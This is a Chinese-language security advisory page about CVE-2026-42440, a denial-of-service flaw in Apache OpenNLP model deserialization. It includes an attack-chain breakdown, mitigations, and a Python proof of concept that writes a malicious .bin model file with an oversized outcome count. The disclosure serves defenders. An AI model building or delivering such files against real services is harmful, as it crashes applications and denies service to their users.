IPBUF安全漏洞报告
English
CVE-2026-42440 CVSS 7.5 高危

CVE-2026-42440 Apache OpenNLP拒绝服务漏洞

披露日期: 2026-05-04

漏洞信息

漏洞编号
CVE-2026-42440
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Apache OpenNLP

相关标签

拒绝服务Apache OpenNLPOOM反序列化CVSS-7.5

漏洞概述

Apache OpenNLP中的AbstractModelReader类存在一个严重的拒绝服务漏洞。该漏洞源于组件在处理二进制模型文件时,未能正确验证从数据流中读取的数组分配计数。攻击者可以构造恶意的.bin模型文件,将特定的计数字段设置为极大的整数值(如Integer.MAX_VALUE)。当应用程序加载并反序列化这些被篡改的模型文件时,会尝试分配超出JVM堆内存容量的数组,从而立即触发OutOfMemoryError。这会导致加载该模型的JVM进程崩溃,实现拒绝服务攻击。该漏洞影响所有反序列化不受信任模型文件的代码路径,且攻击成本极低,仅需发送极小的恶意文件即可瘫痪服务。

技术细节

该漏洞的核心在于Apache OpenNLP的AbstractModelReader类中的getOutcomes()、getOutcomePatterns()和getPredicates()方法。这些方法在反序列化二进制模型流时,直接读取一个32位有符号整数作为数组大小,并将其传递给数组分配指令(如new String[numOutcomes]),完全缺失了对该数值上下限的校验。由于模型文件可能来自不可信来源,攻击者可完全控制该计数值。通过将count字段设置为Integer.MAX_VALUE或任何足以耗尽堆内存的数值,攻击者可以在反序列化的极早期阶段(仅读取少量头部信息后)触发内存分配异常。这种攻击利用了Java数组分配的特性,即在分配时检查可用内存,若不足则抛出OOM。由于攻击者无需填充后续的大量数据即可触发错误,攻击载荷非常微小,难以被常规的文件大小限制机制拦截。

攻击链分析

STEP 1
侦察
攻击者识别出目标系统正在使用受影响版本的Apache OpenNLP库处理模型文件。
STEP 2
武器化
攻击者利用Python或其他工具构造一个特制的.bin二进制模型文件,其中包含一个指向极大数组大小的32位整数(如Integer.MAX_VALUE)。
STEP 3
投递
攻击者通过上传功能、邮件附件或供应链投递方式,将恶意模型文件发送给目标应用程序。
STEP 4
利用
目标应用程序尝试加载并反序列化该模型文件。AbstractModelReader读取到恶意的计数值,并尝试在堆上分配对应大小的数组。
STEP 5
影响
由于请求的内存过大,JVM抛出OutOfMemoryError并崩溃,导致服务拒绝。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import struct # Create a malicious Apache OpenNLP .bin model file to trigger CVE-2026-42440 # Vulnerability: Unbounded array allocation in AbstractModelReader.getOutcomes() # Structure for GIS model: Type(String), Correction Constant(Double), Correction Parameter(Double), Outcome Count(Int) def craft_poc(filename): with open(filename, 'wb') as f: # 1. Model type: "GIS" (2 bytes big-endian length + bytes) model_type = b'GIS' f.write(struct.pack('>H', len(model_type))) f.write(model_type) # 2. Correction constant (Double, big-endian) f.write(struct.pack('>d', 1.0)) # 3. Correction parameter (Double, big-endian) f.write(struct.pack('>d', 0.1)) # 4. Outcome Count (Integer, big-endian) - MALICIOUS INPUT # Setting this to Integer.MAX_VALUE triggers OutOfMemoryError during array allocation # in AbstractModelReader.getOutcomes() -> new String[numOutcomes] max_int = 2147483647 f.write(struct.pack('>i', max_int)) print(f"[+] Malicious model file created: {filename}") print("[+] Load this file in Apache OpenNLP < 2.5.9 to trigger the DoS.") if __name__ == "__main__": craft_poc("exploit_opennlp.bin")

影响范围

Apache OpenNLP < 2.5.9
Apache OpenNLP >= 3.0.0-M1, < 3.0.0-M3

防御指南

临时缓解措施
对于无法立即升级的用户,应严格验证所有.bin模型文件的来源,避免加载由终端用户直接提供的模型。建议对模型文件进行完整性校验,并在隔离环境中进行测试。此外,可以通过调整JVM堆内存大小或设置系统属性OPENNLP_MAX_ENTRIES来降低风险,但这只是辅助手段,不能替代补丁修复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表